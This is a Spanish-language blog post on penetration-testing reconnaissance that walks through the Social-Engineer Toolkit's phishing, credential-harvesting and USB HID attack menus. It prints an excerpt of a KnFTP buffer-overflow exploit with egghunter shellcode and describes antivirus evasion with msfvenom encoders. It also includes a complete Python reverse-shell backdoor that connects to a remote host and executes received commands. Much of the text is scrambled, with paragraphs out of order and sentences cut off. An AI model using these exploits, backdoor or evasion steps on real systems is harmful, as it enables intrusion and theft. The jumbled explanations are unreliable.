PENTESTING I ISSUES... FINGERPRINTING - SET (Social Enginnering Toolkit)

ÁMBITO Y RESPONSABILIDADES
********************************

Antes de realizar cualquier
 1 Legal Issues: Is Unauthorized Port Scanning a Crime? http://nmap.org/book/legal-issues.html
2
PTES Technical Guidelines http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines
Por un lado, hay que definir el tipo de test de intrusión que se llevará a cabo. En este sentido existen tres metodologías actualmente extendidas en función del conocimiento que el

 En un enfoque Black-Box (Covert pen test), el pentester tiene conocimiento nulo sobre el sistema que se desea auditar y tendrá que hacer uso de los recursos que disponga para obtener la mayor información posible de su objetivo e intentar comprometer el mismo. Este será el enfoque empleado en los diversos ejemplos utilizados en el presente informe por ser el que más requiere de una fase previa de Intelligence Gathering.

Por otro lado, en un enforque White-box (Overt pen test), el pentester recibe gran cantidad de información del sistema que va a auditar como puede ser la topología de red, rangos de IP, sistemas operativos, etc. Lo que se pretende es ahorrar la fase de Intelligence Gathering al pentester y facilitarle en gran parte la tarea de intrusión para ver si incluso de esta forma es capaz de encontrar vulnerabilidades en el sistema.

Por último, un entorno Grey-Box trata de combinar los dos primeros enfoques, ofreciendo únicamente información meramente orientativa al pentester. PTES (Penetration Testing Execution Standard2) que recoge un conjunto de procedimientos y buenas prácticas que tratan de servir de punto de referencia para una industria que hasta ahora no tenía una metodología estructurada y definida. El objetivo es definir un estándar constantemente actualizado que comprenda cada una de las partes del proceso de pentesting mediante el uso de determinadas herramientas y procedimientos.

Recientemente se ha formalizado un estándar denominado

Actualmente dicho estándar divide el proceso de pentesting en las siguientes categorías:
***************************************************************************

 Pre-engagement Interactions, Intelligence Gathering, Threat Modeling, Vulnerability

Analysis Exploitation, Post Exploitation y Reporting.

 Debido a la extensión que requeriría desarrollar la fase de Intelligence Gathering en su totalidad, el presente informe únicamente cubrirá determinados aspectos de forma orientativa. Aún así, y aunque dicho estándar se encuentra en su versión beta a día de hoy, se trata de una excelente fuente de información para cualquier profesional del sector de la seguridad.

 FINGERPRINTING
IMPORTANCIA DEL
************************************************

ejemplo con SET
*******************

root@bt:/pentest/exploits/SET# svn update
U    src/payloadgen/payloadgen.py
U    src/java_applet/Java.java
U    src/java_applet/jar_file.py
U    src/web_clone/cloner.py
U    src/msf_attacks/create_payload.py
U    src/harvester/scraper.py
U    src/html/clientside/gen_payload.py
U    src/html/web_server.py
U    src/arp_cache/arp_cache.py
U    set
U    readme/CHANGES
Updated to revision 319.
root@bt:/pentest/exploits/SET#
*********************************************************
root@bt:/pentest/exploits/set# nano config/set_config

# DEFINE THE PATH TO METASPLOIT HERE, FOR EXAMPLE /pentest/exploits/framework3
METASPLOIT_PATH=/pentest/exploits/framework3
Usando Metasploit.....

# SPECIFY WHAT INTERFACE YOU WANT ETTERCAP TO LISTEN ON, IF NOTHING WILL DEFAULT
# EXAMPLE: ETTERCAP_INTERFACE=wlan0
ETTERCAP_INTERFACE=eth0
#
# ETTERCAP HOME DIRECTORY (NEEDED FOR DNS_SPOOF)
ETTERCAP_PATH=/usr/share/ettercap
El " Ettercap" también lo podemos usar .... olé!!
# SENDMAIL ON OR OFF FOR SPOOFING EMAIL ADDRESSES
SENDMAIL=OFF
Y como no El SENDMAIL de Unix al que le metemos back track 5 ......
# SET TO ON IF YOU WANT TO USE EMAIL IN CONJUNCTION WITH WEB ATTACK
WEBATTACK_EMAIL=OFF
Comenzando el ataque a los vectores Web
# CREATE SELF-SIGNED JAVA APPLETS AND SPOOF PUBLISHER NOTE THIS REQUIRES YOU TO
# INSTALL --->  JAVA 6 JDK, BT4 OR UBUNTU USERS: apt-get install openjdk-6-jdk
# IF THIS IS NOT INSTALLED IT WILL NOT WORK. CAN ALSO DO apt-get install sun-java6-jdk
SELF_SIGNED_APPLET=OFF
Atake a los Applets de Java (Java Runtime)
# AUTODETECTION OF IP ADDRESS INTERFACE UTILIZING GOOGLE, SET THIS ON IF YOU WANT
# SET TO AUTODETECT YOUR INTERFACE
AUTO_DETECT=ON
El AUTO - DETECT Siempre....
# SPECIFY WHAT PORT TO RUN THE HTTP SERVER OFF OF THAT SERVES THE JAVA APPLET ATTACK
# OR METASPLOIT EXPLOIT. DEFAULT IS PORT 80.
WEB_PORT=80
Por supuesto contamos en SET con una base de Datos Web, y os imaginaís no ?
# CUSTOM EXE YOU WANT TO USE FOR METASPLOIT ENCODING, THIS USUALLY HAS BETTER AV
# DETECTION. CURRENTLY IT IS SET TO LEGIT.BINARY WHICH IS JUST CALC.EXE. AN EXAMPLE
# YOU COULD USE WOULD BE PUTTY.EXE SO THIS FIELD WOULD BE /pathtoexe/putty.exe
CUSTOM_EXE=src/exe/legit.binary
 SET además nos proporciona la posibilidad de hacerle un by-pass al antivirus con un troyano ja !!!
# USE APACHE INSTEAD OF STANDARD PYTHON WEB SERVERS, THIS WILL INCREASE SPEED OF
# THE ATTACK VECTOR
APACHE_SERVER=OFF
#
# PATH TO THE APACHE WEBROOT
APACHE_DIRECTORY=/var/www

# TURN ON SSL CERTIFICATES FOR SET SECURE COMMUNICATIONS THROUGH WEB_ATTACK VECTOR
WEBATTACK_SSL=OFF
#
# PATH TO THE PEM FILE TO UTILIZE CERTIFICATES WITH THE WEB ATTACK VECTOR (REQUIRED)
# YOU CAN CREATE YOUR OWN UTILIZING SET, JUST TURN ON SELF_SIGNED_CERT
# IF YOUR USING THIS FLAG, ENSURE OPENSSL IS INSTALLED!
#
SELF_SIGNED_CERT=OFF
#
# BELOW IS THE CLIENT/SERVER (PRIVATE) CERT, THIS MUST BE IN PEM FORMAT IN ORDER TO WORK
# SIMPLY PLACE THE PATH YOU WANT FOR EXAMPLE /root/ssl_client/server.pem
PEM_CLIENT=/root/newcert.pem
PEM_SERVER=/root/newreq.pem
ATAKE WEB CON SSL ... que le vamos a hacer no ??
TWEAK THE WEB JACKING TIME USED FOR THE IFRAME REPLACE, SOMETIMES IT CAN BE A LITTLE SLOW
# AND HARDER TO CONVINCE THE VICTIM. 5000 = 5 seconds
WEBJACKING_TIME=2000
y no olvidemos el timing de atake Recordemos que 5000 son 5 segundos ......

SET’s Menu

************

root@bt:/pentest/exploits/set# ./set

  [---]       The Social-Engineer Toolkit (SET)          [---]
  [---]        Written by David Kennedy (ReL1K)          [---]
  [---]                 Version: 0.7                     [---]
  [---]             Codename: 'Swagger Wagon'            [---]
  [---]     Report bugs to: davek@social-engineer.org    [---]
  [---]        Java Applet Written by: Thomas Werth      [---]
  [---]        Homepage: http://www.secmaniac.com        [---]
  [---]     Framework: http://www.social-engineer.org    [---]
  [---]       Over 1 million downloads and counting.     [---]

   Welcome to the Social-Engineer Toolkit (SET). Your one
    stop shop for all of your social-engineering needs..

             Follow me on Twitter: dave_rel1k

     DerbyCon 2011 Sep29-Oct02 - A new era begins...
  irc.freenode.net - #DerbyCon - http://www.derbycon.com

Select from the menu:

1.  Spear-Phishing Attack Vectors
2.  Website Attack Vectors
3.  Infectious Media Generator
4.  Create a Payload and Listener
5.  Mass Mailer Attack
6.  Teensy USB HID Attack Vector
7   Update the Metasploit Framework
8.  Update the Social-Engineer Toolkit
9.  Help, Credits, and About
10. Exit the Social-Engineer Toolkit

Enter your choice: 1

Welcome to the SET E-Mail attack method. This module allows
you to specially craft email messages and send them to a large 
(or small) number of people with attached fileformat malicious 
payloads. If you want to spoof your email address, be sure 
"Sendmail" is installed (it is installed in BT4) and change 
the config/set_config SENDMAIL=OFF flag to SENDMAIL=ON.

There are two options, one is getting your feet wet and letting 
SET do everything for you (option 1), the second is to create 
your own FileFormat payload and use it in your own attack. Either 
way, good luck and enjoy!

1. Perform a Mass Email Attack
2. Create a FileFormat Payload
3. Create a Social-Engineering Template
4. Return to Main Menu

Enter your choice:

Select from the menu:

1.  Spear-Phishing Attack Vectors
2.  Website Attack Vectors
3.  Infectious Media Generator
4.  Create a Payload and Listener
5.  Mass Mailer Attack
6.  Teensy USB HID Attack Vector
7   Update the Metasploit Framework
8.  Update the Social-Engineer Toolkit
9.  Help, Credits, and About
10. Exit the Social-Engineer Toolkit

Enter your choice: 2

The Social-Engineer Toolkit "Web Attack" vector is a unique way of utilizing
multiple web-based attacks in order to compromise the intended victim.

Enter what type of attack you would like to utilize.

The Java Applet attack will spoof a Java Certificate and deliver a Metasploit
based payload. Uses a customized java applet created by Thomas Werth to deliver
the payload.

The Metasploit browser exploit method will utilize select Metasploit browser 
exploits through an iframe and deliver a Metasploit payload.

The Credential Harvester Method will utilize web cloning of a website that has
a username and password field and harvest all the information posted to the website.

The TabNabbing Method will wait for a user to move to a different tab, then
refresh the page to something different.

The Man Left in the Middle Attack Method was introduced by Kos and utilizes
HTTP REFERER's in order to intercept fields and harvest data from them. You
need to have an already vulnerable site and incorporate <script src="http://YOURIP/">.
This could either be from a compromised site or through XSS.

The web jacking attack method was introduced by white_sheep, Emgent and the
Back|Track team. This method utilizes iframe replacements to make the highlighted
URL link to appear legitimate however when clicked a window pops up then is
replaced with the malicious link. You can edit the link replacement settings in
the set_config if its to slow/fast.

The multi-attack will add a combination of attacks through the web attack menu.
For example you can utilize the Java Applet, Metasploit Browser,
Credential Harvester/Tabnabbing, and the Man Left in the Middle attack all at once
to see which is successful.

1. The Java Applet Attack Method
2. The Metasploit Browser Exploit Method
3. Credential Harvester Attack Method
4. Tabnabbing Attack Method
5. Man Left in the Middle Attack Method
6. Web Jacking Attack Method
7. Multi-Attack Web Method
8. Return to the previous menu

Enter your choice (press enter for default):

3.  Infectious Media Generator

4.  Create a Payload and Listener

5.  Mass Mailer Attack

Select from the menu:

1.  Spear-Phishing Attack Vectors
2.  Website Attack Vectors
3.  Infectious Media Generator
4.  Create a Payload and Listener
5.  Mass Mailer Attack
6.  Teensy USB HID Attack Vector
7   Update the Metasploit Framework
8.  Update the Social-Engineer Toolkit
9.  Help, Credits, and About
10. Exit the Social-Engineer Toolkit

Enter your choice: 6

Welcome to the Teensy HID Attack Vector.

Special thanks to: IronGeek and WinFang

The Teensy HID Attack Vector utilizes the teensy USB device to
program the device to act as a keyboard. Teensy's have onboard
storage and can allow for remote code execution on the physical
system. Since the devices are registered as USB Keyboard's it
will bypass any autorun disabled or endpoint protection on the
system.

You will need to purchase the Teensy USB device, it's roughly
$22 dollars. This attack vector will auto generate the code
needed in order to deploy the payload on the system for you.

This attack vector will create the .pde files necessary to import
into Arduino (the IDE used for programming the Teensy). The attack
vectors range from Powershell based downloaders, wscript attacks,
and other methods.

For more information on specifications and good tutorials visit:

http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle

To purchase a Teensy, visit: http://www.pjrc.com/store/teensy.html

Select a payload to create the pde file to import into Arduino:

1. Powershell HTTP GET MSF Payload
2. WSCRIPT HTTP GET MSF Payload
3. Powershell based Reverse Shell
4. Return to the main menu.

Enter your choice:

7   Update the Metasploit Framework
8.  Update the Social-Engineer Toolkit
9.  Help, Credits, and About
10. Exit the Social-Engineer Toolkit


La explotación de alguna vulnerabilidad suele ser el objetivo principal de todo atacante. Poder ejecutar código en el sistema comprometido para llevar a cabo las acciones oportunas determina sin duda alguna el éxito de una intrusión. Casos como los del Hydraq (más conocido como Aurora) donde atacantes utilizando un 0 Day para Internet Explorer tuvieron por objetivo docenas de organizaciones, entre ellas Adobe Systems, Juniper Networks, Yahoo, Google, etc. O casos más recientes como Stuxnet, Duqu3 o la intrusión en RSA mediante phishing con un fichero .xls malicioso4 han puesto de moda el concepto Advanced Persistent Threat5 (A.P.T.). Este término, comúnmente usado para referirse a ciberataques que implican cierto nivel de sofisticación, y cuyo objetivo principal es el espionaje y robo de información, ha empezado a generar cierto temor en prácticamente cualquier organización. Dichos ataques presentan un denominador común: el atacante contiene información más que detallada y precisa de los sistemas objetivo. Para desempeñar una intrusión de tal envergadura el atacante debe dedicar tiempo a investigar sobre las redes, sistemas, correos, empleados, software, etc. utilizando diversas herramientas y técnicas (entre las que se incluye la ingeniería social) para más adelante personificar el ataque.
 3 Duqu: Status Updates Including Installer with Zero-Day Exploit Found http://www.symantec.com/connect/w32-duqu_status-updates_installer-zero-day-exploit
4
Anatomy of an Attack http://blogs.rsa.com/rivner/anatomy-of-an-attack/
5
A Perspective on Advanced Persistent Threat http://blog.securestate.com/post/2011/10/21/A-Perspective-on-Advanced-Persistent-Threat.aspx
6
Understanding SEH (Structured Exception Handler) Exploitation http://www.i-hacked.com/content/view/280/42/
3.1.
EXPLOITS / ANTIVIRUS ****************************************
Conocer la versión del sistema operativo y del software instalado es una de las partes cruciales que cubre el
 Se deduce, por tanto, que un atacante que conozca las versiones exactas tanto del S.O. así como la del software vulnerable, podrá construir un
 exploits disponibles en el Framework Metasploit7 ofrecen la posibilidad de especificar el target (opción show target) antes de lanzarlos. La siguiente figura muestra la sección de código encargado de seleccionar la versión exacta del S.O. y donde se muestra el valor de la instrucción ret en cada uno de ellos.
Es por este motivo por el que muchos de los
 7 Metasploit http://metasploit.com/8 KnFTP Server Buffer Overflow Exploit http://www.exploit-db.com/exploits/17819/
9 Safely Searching Process Virtual Address Spac
http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
De la misma forma, si se observan muchos de los exploits disponibles en www.exploit-db.com, éstos necesitan ser «ajustados» antes de ser lanzados por el motivo comentado anteriormente. El siguiente ejemplo es un extracto de un
En el código se aprecia que se hace uso de la instrucción
exploit remoto contra el servidor KnFTP8. jmp esp para sobrescribir la dirección de retorno en la función en la que se produce el desbordamiento de búfer. La dirección de dicha instrucción para un Windows XP SP3 (inglés) es 7C874413 (representada en little endian) y reside en kernel32.dll. Cuando se ejecute el exploit, la dirección de retorno de la función sobrescrita apuntará a 7C874413, que «saltará» a ESP (debido al jmp esp) donde empezará a ejecutarse el código del egghunter9 encargado de buscar y ejecutar el payload en memoria.
# 32 byte egghunter
egghunter =(
―\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8‖
―\x54\x30\x30\x57‖ # egg - W00T
―\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7‖)
egg = ―\x54\x30\x30\x57\x54\x30\x30\x57‖
buffer = ―\x90‖ * (271 - len(egg + shellcode))
eip = ―\x13\x44\x87\x7c‖ # 7C874413 JMP ESP - kernel32.dll
nops = ―\x90‖ * 8
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print ―[+] Connecting to %s on port %d‖ % (target,port)
try:
s.connect((target,port))
print ―[+] Sending payload‖
s.send(―USER blake \r\n‖)
s.recv(1024)
s.send(―PASS ― + buffer + egg + shellcode + eip + nops + egghunter + ―\r\n‖)
s.recv(1024)
s.close()
print ―[+] Payload sent successfully‖
...
 Si se quisiera lanzar ese exploit por ejemplo contra una máquina Windows SP3 en español, se necesitaría comprobar si existe tal instrucción en dicha dirección. En caso de no ser así se necesitaría buscar otra dirección válida (sin null bytes, bad caracteres, etc.) bien en otra librería del S.O. o bien utilizando el propio ejecutable o alguna de sus dlls para hacerlo más estable, teniendo en cuenta ciertas contramedidas como safeseh, stack cookies, etc. Como se ve en la siguiente captura (imagen A), la dirección 7C874413 en un Win SP3 (español) no contiene un JMP ESP, por tanto, si se lanzara este exploit sin modificarlo seguramente tiraría el servidor FTP abajo. Para construir el exploit de forma efectiva necesitamos buscar una dirección válida con «algo» que nos permita saltar a ESP, por ejemplo un CALL ESP, como se muestra en la imagen B. En otros casos, el atacante puede tener más suerte y contar con un
 10 Exploit: Dev str_transliterate() Buffer overflow - NX + ASLR Bypass (By Matteo Memelli) http://www.exploit-db.com/exploits/12189/
11
Bypassing Anti-Virus in Windows Vista: ShmooCon 2008 Presentation (By Mati Aharoni ―muts‖ ) http://www.offensive-security.com/videos/shmoocon-presentation-2008-video/shmoocon-presentation-2008_controller.swf
12
Exploit writing tutorial part 9 : Introduction to Win32 shellcoding https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32
De la misma forma que conocer el S.O. ayudará enormemente en la elaboración de

En el siguiente ejemplo se utilizará

Otra alternativa a http://www.virustotal.com/ para testear los ejecutables sin miedo a que se puedan generar nuevas firmas para los diversas marcas AV (o si lo que se pretende es esconder información confidencial o utilizarlo en otros proyectos) es http://vscan.novirusthanks.org/ especificando la opción ―
 13 Tips for Evading Anti-Virus During Pen Testing http://pen-testing.sans.org/blog/2011/10/13/tips-for-evading-anti-virus-during-pen-testing
14
Execute Metasploit payloads bypassing any anti-virus http://bernardodamele.blogspot.com/2011/04/execute-metasploit-payloads-bypassing.html
15
Creating a 13 line backdoor worry free of A/V http://www.secmaniac.com/blog/2011/06/20/creating-a-13-line-backdoor-worry-free-of-av/
Existen numerosos métodos y técnicas para evadir AV por ejemplo, mediante la herramienta
 #!/usr/bin/python
# imports here
import socket,subprocess
HOST = '172.16.32.137' # The remote host
PORT = 443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('[*] Connection Established!')
# start loop
while 1:
# recieve shell command
data = s.recv(1024)
# if its quit, then break out and close socket
if data == "quit": break
# do shell command
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# send output to attacker
s.send(stdout_value)
# close socket
s.close()
Muchas organizaciones sin ser conscientes de esto, reenvían correos donde puede verse el tipo de software AV que emplean o directamente son víctimas de ingeniería social y donde, sin mucho esfuerzo, ellos mismos delatan el tipo de antivirus utilizado. En libros como «
 16 Book: The Art of Deception http://www.amazon.com/Art-Deception-Controlling-Element-Security/dp/0471237124
17
Book: Social Engineering, The Art of Human Hacking http://www.amazon.com/Social-Engineering-Art-Human- Hacking/dp/0470639539/ref=sr_1_1?s=books&ie=UTF8&qid=1318593538&sr=1-1
18
Tactics of Social Engineer http://www.social-engineer.org/category/tactics/
Queda claro por tanto, que cualquier dato que proporcione información acerca de los sistemas que se planea comprometer serán puntos a favor para el atacante y esto es precisamente lo que cubre la fase de
A modo de ejemplo práctico, y para poner de manifiesto la importancia de estas técnicas, a continuación se propondrán 3 casos de intrusión, los cuales cubrirán varios objetivos. Por una parte, mostrar la facilidad con la que hoy en día es posible planificar un ataque sin necesidad de ser un experto. Y, por otra, concienciar a administradores y responsables de seguridad de la importancia que tienen las políticas de seguridad orientadas a controlar de forma exhaustiva la información de una organización.
Information Gahering. Bien de forma pasiva o activa, esta fase comprende un conjunto de técnicas que permiten obtener información sobre el entorno de la víctima. Por ejemplo, una de estas partes denominada Fingerprinting se encargará de localizar el mayor número de máquinas/redes y dispositivos así como servicios y versiones de los S.O.


El arte del engaño»16 de Kevin Mitnick o «Social Engineering: The Art of Human Hacking»17, de Christopher Hadnagy, se describen hechos reales y casos de estudio donde se refleja la eficiencia de la ingeniería social y donde se pone de manifiesto que en muchos casos la labia y la psicología18 son más eficientes que la propia tecnología para conseguir información. ShellCodeExec, desarrollada por Bernardo Damele, es posible inyectar una alphanumeric-encoded shellcode en el espacio de direcciones de un proceso haciéndolo de igual forma prácticamnte indetectable. Otro ejemplo que muestra cómo crear un backdoor15 multiplataforma en python (reverse Shell) en apenas 13 líneas y eludiendo los 43 AV lo proporciona David Kennedy (autor de SET): Do not distribute the sample‖.exploits, saber de antemano el antivirus que una organización utiliza facilitará y ahorrará también mucho esfuerzo al atacante. Este dato puede aumentar aún más las posibilidades de intrusión si lo que se pretende es «troyanizar» la máquina de la víctima. Modificar un binario con el objetivo de eludir firmas que puedan ser detectadas por el AV será mucho más fácil si se conoce el producto en cuestión. La gran mayoría de AV disponen de firmas para payloads ampliamente conocidos como Meterpreter, bind/reverse shell, etc. así como troyanos y malware de diversa índole. Utilizando encoders, packers, o incluso manualmente11 es posible eludir dichas firmas para hacerlos prácticamente indetectables por la gran mayoría de fabricantes antivirus basados en firmas. msfvenom para generar una staged reverse_shell (windows/shell/reverse_tcp). La ventaja de un staged payload es que el ejecutable únicamente contendrá el código necesario para conectar con el equipo del atacante desde donde se enviará el resto del payload. De esta forma, el proceso nunca guardará en disco el payload recibido, el cual es susceptible de contener las firmas que alertarían al AV sobre una posible reverse shell. En el ejemplo también se ha utilizado como encoder shikata_ga_nai con un total de 12 iteraciones para dificultar aún más la detección por parte de los los AV. El paper "Exploit writing tutorial part 9: Introduction to Win32 shellcoding"12 de Corelan es una de las mejores referencias para comprender cómo trabajan los encoders y como ayudan enormemente no solo a tratar con bad characters a la hora de desarrollar exploits, sino también a la hora de ofuscar código para evadir sistemas AV. En la salida generada por VirusTotal.com puede apreciarse como de un total de 42 AV, ninguno ha identificado como dañino el ejecutable reverse.exe. exploit universal que afecte a un sistema operativo independientemente de su versión o incluso que el propio exploit pueda hacer un brute-force10 de tales direcciones sin producir una caída de la aplicación, por ejemplo, en casos en los que un servicio genera procesos hijos para atender diversas peticiones (ej. servidores web, smb, etc.). exploit capaz de ejecutar código en la máquina objetivo. En cambio, un exploit incorrectamente «ajustado» seguramente produciría la caída o bloqueo de la aplicación vulnerable, frustrando así las intenciones del atacante.fingerprinting. Esto se debe a que, en la mayoría de los ataques, se emplean exploits que necesitan ser ajustados previamente con datos concretos que dependen de la versión exacta del propio software o del sistema operativo. Ejemplo de ello son los exploits que se aprovechan de un desbordamiento de búfer y que requieren, en muchos casos, de determinados valores (direcciones de instrucciones) únicos de cada S.O. En estos casos, el objetivo del exploit es sobrescribir valores en el stack hasta alcanzar determinados posiciones de memoria como el return address o la tabla de excepciones SEH6. Estas variables son reemplazadas por instrucciones (jmp reg, call reg, pop pop ret, push reg ret, etc.) que permiten saltar al payload dentro de la pila y que proceden en ciertos casos de librerías del S.O. y cuyas direcciones varían de una versión a otra o de un Service Pack a otro. pentester tenga del sistema que será auditado y que de forma meramente orientativa, se describirán a continuación.Pen-Test, es necesario, además de definir el ámbito en el que se desarrollará el mismo, tener en cuenta ciertas consideraciones legales.

BUENO PEOPLE .... CONTINUARÁ ... QUEDA MUCHO POR APRENDER Y ENSEÑAR , TODOS DE TODOS QUE ES DE LO QUE SE TRATA, Y COMO SABEMOS, LA ÚNICA MENERA REAL Y POSIBLE DE LLEGAR A SER REALMENTE GENIALES EN "LO NUESTROS".

Un saludo gente

Duke

Entradas populares de este blog

Proteger ASP.NET de inyecciones SQL How T0? BEST PRACTICES

CERTIFICACIONES DE SEGURIDAD

HACKING MADRID_"EASY" XSS and Cross Site Tracing XST